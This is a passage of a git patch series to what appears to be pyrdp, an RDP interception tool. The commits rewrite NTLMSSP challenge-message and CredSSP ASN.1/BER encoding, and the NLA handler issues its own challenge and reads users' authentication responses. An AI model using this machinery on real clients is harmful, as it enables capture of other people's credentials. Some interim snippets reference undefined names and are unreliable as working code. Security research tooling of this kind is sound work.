self.fields['ntlmsspNTLMChallengeAVPairsUnicodeStr'] = workstationName - self.fields['ntlmsspNTLMChallengeAVPairs1Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID.to_bytes(2,'little').decode('latin-1') - self.fields['ntlmsspNTLMChallengeAVPairs1Len'] = NULL * 2 - self.fields['ntlmsspNTLMChallengeAVPairs1UnicodeStr'] = workstationName - self.fields['ntlmsspNTLMChallengeAVPairs2Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID.to_bytes(2,'little').decode('latin-1') - self.fields['ntlmsspNTLMChallengeAVPairs2Len'] = NULL * 2 - self.fields['ntlmsspNTLMChallengeAVPairs2UnicodeStr'] = workstationName - self.fields['ntlmsspNTLMChallengeAVPairs3Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID.to_bytes(2,'little').decode('latin-1') - self.fields['ntlmsspNTLMChallengeAVPairs3Len'] = NULL * 2 - self.fields['ntlmsspNTLMChallengeAVPairs3UnicodeStr'] = workstationName - self.fields['ntlmsspNTLMChallengeAVPairs5Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID.to_bytes(2,'little').decode('latin-1') - self.fields['ntlmsspNTLMChallengeAVPairs5Len'] = NULL * 2 - self.fields['ntlmsspNTLMChallengeAVPairs5UnicodeStr'] = workstationName - self.fields['ntlmsspNTLMChallengeAVPairs6Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID.to_bytes(2,'little').decode('latin-1') - self.fields['ntlmsspNTLMChallengeAVPairs6Len'] = NULL * 2 - calculateOffsetWorkstation = self.fields['signature'] + \ - self.fields['messageType'] + \ - self.fields["workstationLen"] + \ - self.fields["workstationMaxLen"] + \ - self.fields["workstationBuffOffset"] + \ - self.fields["negotiateFlags"] + \ - self.fields["serverChallenge"] + \ - self.fields["reserved"] + \ - self.fields["targetInfoLen"] + \ - self.fields["targetInfoMaxLen"] + \ - self.fields["targetInfoBuffOffset"] + \ - self.fields["negTokenInitSeqMechMessageVersionHigh"] + \ - self.fields["negTokenInitSeqMechMessageVersionLow"] + \ - self.fields["negTokenInitSeqMechMessageVersionBuilt"] + \ - self.fields["negTokenInitSeqMechMessageVersionReserved"] + \ - self.fields["negTokenInitSeqMechMessageVersionNTLMType"] - calculateLenAvpairs = self.fields["ntlmsspNTLMChallengeAVPairsId"] + \ - self.fields["ntlmsspNTLMChallengeAVPairsLen"] + \ - self.fields["ntlmsspNTLMChallengeAVPairsUnicodeStr"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs1Id"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs1Len"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs1UnicodeStr"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs2Id"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs2Len"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs2UnicodeStr"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs3Id"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs3Len"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs3UnicodeStr"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs5Id"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs5Len"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs5UnicodeStr"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs6Id"] + \ - self.fields["ntlmsspNTLMChallengeAVPairs6Len"] + def write(self, workstation: str) -> bytes: + stream = BytesIO() + + workstation = workstation.encode('utf-16le') + nameLen = len(workstation) + pairsLen = self.writePayload(stream, workstation, nameLen) + + stream.seek(NTLMSSPChallengeType.NTLMSSP_START_OFFSET) + stream.write(b'NTLMSSP\x00') # signature + stream.write(Uint32LE.pack(self.messageType)) # message type + stream.write(Uint16LE.pack(nameLen)) # workstation length + stream.write(Uint16LE.pack(nameLen)) # workstation max length + stream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET)) # workstation buffer offset + stream.write(Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS)) # negotiate flags + stream.write(self.serverChallenge) # server challenge + stream.write(Uint64LE.pack(0)) # reserved + stream.write(Uint16LE.pack(pairsLen)) # target info len + stream.write(Uint16LE.pack(pairsLen)) # target info max len + stream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen)) # target info buffer offset + stream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH)) # product major version + stream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW)) # product minor version + stream.write(Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT)) # product build + stream.write(Uint8.pack(0)) # reserved + stream.write(Uint8.pack(0)) # reserved + stream.write(Uint8.pack(0)) # reserved + stream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT)) # NTLM revision current + + self.writeASN(stream) + return stream.getvalue() + + def writeASN(self, stream: BytesIO): + sequenceLen = len(stream.getvalue()) - NTLMSSPChallengeType.NTLMSSP_START_OFFSET + buff = b'' - # Length and offset calculation - NTLMMessageLen = calculateOffsetWorkstation + workstationName + calculateLenAvpairs - self.fields["sequenceHeaderLen"] = len(NTLMMessageLen).to_bytes(1,'big') - self.fields["asnLen01"] = (len(NTLMMessageLen) + 3).to_bytes(1,'big') - self.fields["opHeadASNIDLen"] = (len(NTLMMessageLen) + 6).to_bytes(1,'big') - self.fields["messageIDASNLen2"] = (len(NTLMMessageLen) + 9).to_bytes(1,'big') - self.fields["parserHeadASNLen1"] = (len(NTLMMessageLen) + 12).to_bytes(1,'big') - self.fields["packetStartASNStr"] = (len(NTLMMessageLen) + 20).to_bytes(1,'big') + # import ipdb; ipdb.set_trace() + # ASN.1 description + # SEQUENCE (2 elem) + # [0] (1 elem) + # INTEGER 5 + # [1] (1 elem) + # SEQUENCE (1 elem) + # SEQUENCE (1 elem) + # [0] (1 elem) + # OCTET STRING (...) + stream.seek(0) + buff += ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True) + buff += b'\x81' + (sequenceLen + 20).to_bytes(1,'little') + buff += b'\xa0\x03' + ber.writeInteger(NTLMSSPChallengeVersion.CREDSSP_VERSION) # CredSSP version + buff += b'\xa1\x81' + (sequenceLen + 12).to_bytes(1,'little') + buff += ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True) + buff += b'\x81' + (sequenceLen + 9).to_bytes(1, 'little') + buff += ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True) + buff += b'\x81' + (sequenceLen + 6).to_bytes(1, 'little') + buff += b'\xa0\x81' + (sequenceLen + 3).to_bytes(1, 'little') + buff += ber.writeUniversalTag(ber.Tag.BER_TAG_OCTET_STRING, False) + buff += b'\x81' + sequenceLen.to_bytes(1, 'little') + stream.write(buff) - self.fields["workstationBuffOffset"]= len(calculateOffsetWorkstation).to_bytes(4,'little') - self.fields["workstationLen"] = len(workstationName).to_bytes(2,'little') - self.fields["workstationMaxLen"] = len(workstationName).to_bytes(2,'little') + return len(buff) - self.fields["targetInfoLen"] = len(calculateLenAvpairs).to_bytes(2,'little') - self.fields["targetInfoMaxLen"] = len(calculateLenAvpairs).to_bytes(2,'little') - self.fields["targetInfoBuffOffset"] = len(calculateOffsetWorkstation + workstationName).to_bytes(4,'little') + def writePayload(self, stream: BytesIO, workstation: bytes, length: int): + pairsLen = 0 + offset = stream.tell() - self.fields["ntlmsspNTLMChallengeAVPairs5Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs5UnicodeStr"]).to_bytes(2,'little') - self.fields["ntlmsspNTLMChallengeAVPairs3Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs3UnicodeStr"]).to_bytes(2,'little') - self.fields["ntlmsspNTLMChallengeAVPairs2Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs2UnicodeStr"]).to_bytes(2,'little') - self.fields["ntlmsspNTLMChallengeAVPairs1Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs1UnicodeStr"]).to_bytes(2,'little') - self.fields["ntlmsspNTLMChallengeAVPairsLen"] = len(self.fields["ntlmsspNTLMChallengeAVPairsUnicodeStr"]).to_bytes(2,'little') + stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET) + stream.write(workstation) + pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID)) + pairsLen += stream.write(Uint16LE.pack(length)) + pairsLen += stream.write(workstation) + pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID)) + pairsLen += stream.write(Uint16LE.pack(length)) + pairsLen += stream.write(workstation) + pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID)) + pairsLen += stream.write(Uint16LE.pack(length)) + pairsLen += stream.write(workstation) + pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID)) + pairsLen += stream.write(Uint16LE.pack(length)) + pairsLen += stream.write(workstation) + pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID)) + pairsLen += stream.write(Uint16LE.pack(length)) + pairsLen += stream.write(workstation) + pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID)) + pairsLen += stream.write(Uint16LE.pack(0)) + stream.seek(offset) - def __bytes__(self): - data = bytes() - for _,v in self.fields.items(): - b = v - if type(b) == str: - b = b.encode('latin-1') - data += b - return data + return pairsLen class NTLMSSPAuthenticatePDU(NTLMSSPPDU): def __init__(self, user: str, domain: str, proof: bytes, response: bytes): diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index c2dac4aef..073fca3e6 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -56,14 +56,14 @@ def onUnknownHeader(self, header, data: bytes): randomChallenge = self.getRandChallenge() self.log.info("NTLMSSP Negotiation") challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) - + # There might be no state if server side connection was shutdown if not self.ntlmSSPState: self.ntlmSSPState = NTLMSSPState() self.ntlmSSPState.setMessage(challenge) self.ntlmSSPState.challenge.serverChallenge = randomChallenge - data = bytes(challenge) - + data = challenge.write('WINNT') + if message.messageType == NTLMSSPMessageType.AUTHENTICATE_MESSAGE: message: NTLMSSPAuthenticatePDU user = message.user From fc24cba473481cad5cc7d6f5b7e55ce1423320b9 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Tue, 2 Nov 2021 14:42:59 -0600 Subject: [PATCH 03/24] Fix ASN.1 header and minor changes --- pyrdp/enum/ntlmssp.py | 3 +-- pyrdp/pdu/rdp/ntlmssp.py | 31 ++++++++++++++----------------- 2 files changed, 15 insertions(+), 19 deletions(-) diff --git a/pyrdp/enum/ntlmssp.py b/pyrdp/enum/ntlmssp.py index ea428e53d..75a9ab9e7 100644 --- a/pyrdp/enum/ntlmssp.py +++ b/pyrdp/enum/ntlmssp.py @@ -12,8 +12,7 @@ class NTLMSSPMessageType(IntEnum): AUTHENTICATE_MESSAGE = 3 class NTLMSSPChallengeType(IntEnum): - NTLMSSP_START_OFFSET = 0x17 - WORKSTATION_BUFFER_OFFSET = NTLMSSP_START_OFFSET + 0x38 + WORKSTATION_BUFFER_OFFSET = 0x38 # http://davenport.sourceforge.net/ntlm.html#theNtlmFlags # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832 diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index 1b1c05b9e..be3b2084c 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -32,7 +32,6 @@ def write(self, workstation: str) -> bytes: nameLen = len(workstation) pairsLen = self.writePayload(stream, workstation, nameLen) - stream.seek(NTLMSSPChallengeType.NTLMSSP_START_OFFSET) stream.write(b'NTLMSSP\x00') # signature stream.write(Uint32LE.pack(self.messageType)) # message type stream.write(Uint16LE.pack(nameLen)) # workstation length @@ -56,8 +55,8 @@ def write(self, workstation: str) -> bytes: return stream.getvalue() def writeASN(self, stream: BytesIO): - sequenceLen = len(stream.getvalue()) - NTLMSSPChallengeType.NTLMSSP_START_OFFSET - buff = b'' + message = stream.getvalue() + messageLen = len(message) # import ipdb; ipdb.set_trace() # ASN.1 description @@ -70,20 +69,18 @@ def writeASN(self, stream: BytesIO): # [0] (1 elem) # OCTET STRING (...) stream.seek(0) - buff += ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True) - buff += b'\x81' + (sequenceLen + 20).to_bytes(1,'little') - buff += b'\xa0\x03' + ber.writeInteger(NTLMSSPChallengeVersion.CREDSSP_VERSION) # CredSSP version - buff += b'\xa1\x81' + (sequenceLen + 12).to_bytes(1,'little') - buff += ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True) - buff += b'\x81' + (sequenceLen + 9).to_bytes(1, 'little') - buff += ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True) - buff += b'\x81' + (sequenceLen + 6).to_bytes(1, 'little') - buff += b'\xa0\x81' + (sequenceLen + 3).to_bytes(1, 'little') - buff += ber.writeUniversalTag(ber.Tag.BER_TAG_OCTET_STRING, False) - buff += b'\x81' + sequenceLen.to_bytes(1, 'little') - stream.write(buff) - - return len(buff) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(messageLen + 20)) + stream.write(b'\xa0\x03' + ber.writeInteger(NTLMSSPChallengeVersion.CREDSSP_VERSION)) # CredSSP version + stream.write(b'\xa1\x81' + (messageLen + 12).to_bytes(1,'little')) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(b'\x81' + (messageLen + 9).to_bytes(1, 'little')) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(b'\x81' + (messageLen + 6).to_bytes(1, 'little')) + stream.write(b'\xa0\x81' + (messageLen + 3).to_bytes(1, 'little')) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_OCTET_STRING, False)) + stream.write(b'\x81' + messageLen.to_bytes(1, 'little')) + stream.write(message) def writePayload(self, stream: BytesIO, workstation: bytes, length: int): pairsLen = 0 From 024b1a35c181c14901d9e565e1672c98c1c6c52d Mon Sep 17 00:00:00 2001 From: lubiedo Date: Tue, 2 Nov 2021 15:56:10 -0600 Subject: [PATCH 04/24] ASN.1 BER improvement --- pyrdp/pdu/rdp/ntlmssp.py | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index be3b2084c..c0475c147 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -58,7 +58,6 @@ def writeASN(self, stream: BytesIO): message = stream.getvalue() messageLen = len(message) - # import ipdb; ipdb.set_trace() # ASN.1 description # SEQUENCE (2 elem) # [0] (1 elem) @@ -70,17 +69,16 @@ def writeASN(self, stream: BytesIO): # OCTET STRING (...) stream.seek(0) stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) - stream.write(ber.writeLength(messageLen + 20)) - stream.write(b'\xa0\x03' + ber.writeInteger(NTLMSSPChallengeVersion.CREDSSP_VERSION)) # CredSSP version - stream.write(b'\xa1\x81' + (messageLen + 12).to_bytes(1,'little')) + stream.write(ber.writeLength(messageLen + 25)) + stream.write(b'\xa0' + ber.writeLength(3)) + stream.write(ber.writeInteger(NTLMSSPChallengeVersion.CREDSSP_VERSION)) # CredSSP version + stream.write(b'\xa1' + ber.writeLength(messageLen + 16)) stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) - stream.write(b'\x81' + (messageLen + 9).to_bytes(1, 'little')) + stream.write(ber.writeLength(messageLen + 12)) stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) - stream.write(b'\x81' + (messageLen + 6).to_bytes(1, 'little')) - stream.write(b'\xa0\x81' + (messageLen + 3).to_bytes(1, 'little')) - stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_OCTET_STRING, False)) - stream.write(b'\x81' + messageLen.to_bytes(1, 'little')) - stream.write(message) + stream.write(ber.writeLength(messageLen + 8)) + stream.write(b'\xa0' + ber.writeLength(messageLen + 4)) + stream.write(ber.writeOctetString(message)) def writePayload(self, stream: BytesIO, workstation: bytes, length: int): pairsLen = 0 From 9e77d0399b3975b2b63817a904ff87e5c7fc3a23 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 10 Nov 2021 16:59:11 -0600 Subject: [PATCH 05/24] Improvements --- pyrdp/core/ber.py | 24 ++++++- pyrdp/enum/ntlmssp.py | 2 +- pyrdp/parser/rdp/ntlmssp.py | 132 +++++++++++++++++++++++++++++++++--- pyrdp/pdu/__init__.py | 3 +- pyrdp/pdu/rdp/ntlmssp.py | 96 ++++---------------------- pyrdp/security/nla.py | 8 +-- 6 files changed, 166 insertions(+), 99 deletions(-) diff --git a/pyrdp/core/ber.py b/pyrdp/core/ber.py index 7343f2b31..c40de6313 100644 --- a/pyrdp/core/ber.py +++ b/pyrdp/core/ber.py @@ -140,7 +140,27 @@ def writeApplicationTag(tag: Tag, size: int) -> bytes: return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | Tag.BER_TAG_MASK) + Uint8.pack(tag) + writeLength(size) else: return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size) - + +def readContextualTag(s: BinaryIO, tag: Tag, isConstruct: bool) -> bool: + """ + Unpack contextual tag and return True if the proper tag was read. + :param s: stream + :param tag: BER tag + :param isConstruct: True if a construct is expected + """ + byte = Uint8.unpack(s.read(1)) + if byte != ((Class.BER_CLASS_CTXT | berPC(isConstruct)) | (Tag.BER_TAG_MASK & tag)): + raise ValueError("Unexpected contextual tag") + return readLength(s) + +def writeContextualTag(tag: Tag, size: int) -> bytes: + """ + Pack contextual tag. + :param tag: BER tag + :param size: the size of the contextual packet. + """ + return Uint8.pack((Class.BER_CLASS_CTXT | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size) + def readBoolean(s: BinaryIO) -> bool: """ Unpack a BER boolean @@ -231,4 +251,4 @@ def writeEnumeration(value: int) -> bytes: """ Pack a BER enumeration value """ - return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value) \ No newline at end of file + return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value) diff --git a/pyrdp/enum/ntlmssp.py b/pyrdp/enum/ntlmssp.py index 75a9ab9e7..ef3fc67e5 100644 --- a/pyrdp/enum/ntlmssp.py +++ b/pyrdp/enum/ntlmssp.py @@ -37,7 +37,7 @@ class NTLMSSPChallengeVersion(IntEnum): CREDSSP_VERSION = 0x05 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175 - NEG_PROD_MAJOR_VERSION_HIGH = 0x05 + NEG_PROD_MAJOR_VERSION_HIGH = 0x06 NEG_PROD_MINOR_VERSION_LOW = 0x02 NEG_PROD_VERSION_BUILT = 0x0ECE NEG_NTLM_REVISION_CURRENT = 0x0F # NTLMSSP_REVISION_W2K3 diff --git a/pyrdp/parser/rdp/ntlmssp.py b/pyrdp/parser/rdp/ntlmssp.py index edf29aa5e..491fc24b3 100644 --- a/pyrdp/parser/rdp/ntlmssp.py +++ b/pyrdp/parser/rdp/ntlmssp.py @@ -7,9 +7,11 @@ from io import BytesIO from typing import Callable, Dict -from pyrdp.core import Uint16LE, Uint32LE +from pyrdp.core import ber, Uint8, Uint16LE, Uint32LE, Uint64LE from pyrdp.parser.parser import Parser -from pyrdp.pdu import NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, NTLMSSPNegotiatePDU, NTLMSSPPDU +from pyrdp.pdu import NTLMSSPChallengePayloadPDU, NTLMSSPTSRequestPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, \ + NTLMSSPNegotiatePDU, NTLMSSPPDU +from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion class NTLMSSPParser(Parser): @@ -34,11 +36,11 @@ def findMessage(self, data: bytes) -> int: return data.find(b"NTLMSSP\x00") def doParse(self, data: bytes) -> NTLMSSPPDU: - stream = BytesIO(data) + sigOffset = self.findMessage(data) + stream = BytesIO(data[sigOffset:]) signature = stream.read(8) messageType = Uint32LE.unpack(stream) - - return self.handlers[messageType](data, stream) + return self.handlers[messageType](stream.getvalue(), stream) def parseField(self, data: bytes, fields: bytes) -> bytes: length = Uint16LE.unpack(fields[0: 2]) @@ -53,15 +55,19 @@ def parseNTLMSSPNegotiate(self, data: bytes, stream: BytesIO) -> NTLMSSPNegotiat return NTLMSSPNegotiatePDU() def parseNTLMSSPChallenge(self, data: bytes, stream: BytesIO) -> NTLMSSPChallengePDU: - targetNameFields = stream.read(8) + workstationLen = stream.read(2) + workstationMaxLen = stream.read(2) + workstationBufferOffset = stream.read(4) negotiateFlags = stream.read(4) serverChallenge = stream.read(8) reserved = stream.read(8) - targetInfoFields = stream.read(8) - version = stream.read(8) + targetInfoLen = stream.read(2) + targetInfoMaxLen = stream.read(2) + targetInfoBufferOffset = stream.read(4) + version = stream.read(4) + reserved = stream.read(3) + revisionCurrent = stream.read(1) - targetName = self.parseField(data, targetNameFields) - targetInfo = self.parseField(data, targetInfoFields) return NTLMSSPChallengePDU(serverChallenge) def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthenticatePDU: @@ -86,3 +92,109 @@ def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthe response = ntChallengeResponse[16 :] return NTLMSSPAuthenticatePDU(user, domain, proof, response) + + def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSRequestPDU: + if not ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True): + raise UnknownPDUTypeError("Invalid BER tag (%d expected)" % ber.Tag.BER_TAG_SEQUENCE) + + length = ber.readLength(stream) + if length > len(stream.getvalue()): + raise ParsingError("Invalid size for TSRequest (got %d, %d bytes left)" % (length, len(stream.getvalue()))) + + version = None + negoTokens = None + + # [0] version + if not ber.readContextualTag(stream, 0, True): + return NTLMSSPTSRequestPDU(version, negoTokens, data) + version = ber.readInteger(stream) + + # [1] negoTokens + if not ber.readContextualTag(stream, 1, True): + return NTLMSSPTSRequestPDU(version, negoTokens, data) + ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # SEQUENCE OF NegoDataItem + ber.readLength(stream) + ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem + ber.readLength(stream) + ber.readContextualTag(stream, 0, True) + + negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData + return NTLMSSPTSRequestPDU(version, negoTokens) + + def parseNTLMSSPChallengePayload(self, data: bytes, stream: BytesIO, workstationLen: int) -> NTLMSSPChallengePayloadPDU: + stream.read(workstationLen) + return NTLMSSPChallengePayloadPDU(workstation) + + def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> bytes: + stream = BytesIO() + substream = BytesIO() + + workstation = workstation.encode('utf-16le') + nameLen = len(workstation) + pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation) + + substream.write(b'NTLMSSP\x00') # signature + substream.write(Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE)) # message type + substream.write(Uint16LE.pack(nameLen)) # workstation length + substream.write(Uint16LE.pack(nameLen)) # workstation max length + substream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET)) # workstation buffer offset + substream.write(Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS)) # negotiate flags + substream.write(serverChallenge) # server challenge + substream.write(Uint64LE.pack(0)) # reserved + substream.write(Uint16LE.pack(pairsLen)) # target info len + substream.write(Uint16LE.pack(pairsLen)) # target info max len + substream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen)) # target info buffer offset + substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH)) # product major version + substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW)) # product minor version + substream.write(Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT)) # product build + substream.write(Uint8.pack(0)) # reserved + substream.write(Uint8.pack(0)) # reserved + substream.write(Uint8.pack(0)) # reserved + substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT)) # NTLM revision current + + self.writeNTLMSSPTSRequest(stream, NTLMSSPChallengeVersion.CREDSSP_VERSION, substream.getvalue()) + return stream.getvalue() + + def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes): + negoLen = len(negoTokens) + + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(negoLen + 25)) + stream.write(ber.writeContextualTag(0, 3)) + stream.write(ber.writeInteger(version)) # CredSSP version + stream.write(ber.writeContextualTag(1, negoLen + 16)) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(negoLen + 12)) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(negoLen + 8)) + stream.write(ber.writeContextualTag(0, negoLen + 4)) + stream.write(ber.writeOctetString(negoTokens)) + + def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int: + length = len(workstation) + + stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET) + stream.write(workstation) + + pairsLen = stream.tell() + stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID)) + stream.write(Uint16LE.pack(length)) + stream.write(workstation) + stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID)) + stream.write(Uint16LE.pack(length)) + stream.write(workstation) + stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID)) + stream.write(Uint16LE.pack(length)) + stream.write(workstation) + stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID)) + stream.write(Uint16LE.pack(length)) + stream.write(workstation) + stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID)) + stream.write(Uint16LE.pack(length)) + stream.write(workstation) + stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID)) + stream.write(Uint16LE.pack(0)) + pairsLen = stream.tell() - pairsLen + stream.seek(0) + + return pairsLen diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index fccc4ce83..45b74821a 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -35,7 +35,8 @@ UnicodeKeyboardEvent, UnusedEvent from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU from pyrdp.pdu.rdp.negotiation import NegotiationFailurePDU, NegotiationRequestPDU, NegotiationResponsePDU -from pyrdp.pdu.rdp.ntlmssp import NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU +from pyrdp.pdu.rdp.ntlmssp import NTLMSSPTSRequestPDU, NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, \ + NTLMSSPAuthenticatePDU, NTLMSSPChallengePayloadPDU from pyrdp.pdu.rdp.pointer import Point, PointerCacheEvent, PointerColorEvent, PointerEvent, PointerNewEvent, \ PointerPositionEvent, PointerSystemEvent from pyrdp.pdu.rdp.security import SecurityExchangePDU, SecurityPDU diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index c0475c147..186ef1581 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -11,6 +11,7 @@ from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion from pyrdp.pdu.pdu import PDU + class NTLMSSPPDU(PDU): def __init__(self, messageType: NTLMSSPMessageType): super().__init__() @@ -25,87 +26,10 @@ def __init__(self, serverChallenge: bytes): super().__init__(NTLMSSPMessageType.CHALLENGE_MESSAGE) self.serverChallenge = serverChallenge - def write(self, workstation: str) -> bytes: - stream = BytesIO() - - workstation = workstation.encode('utf-16le') - 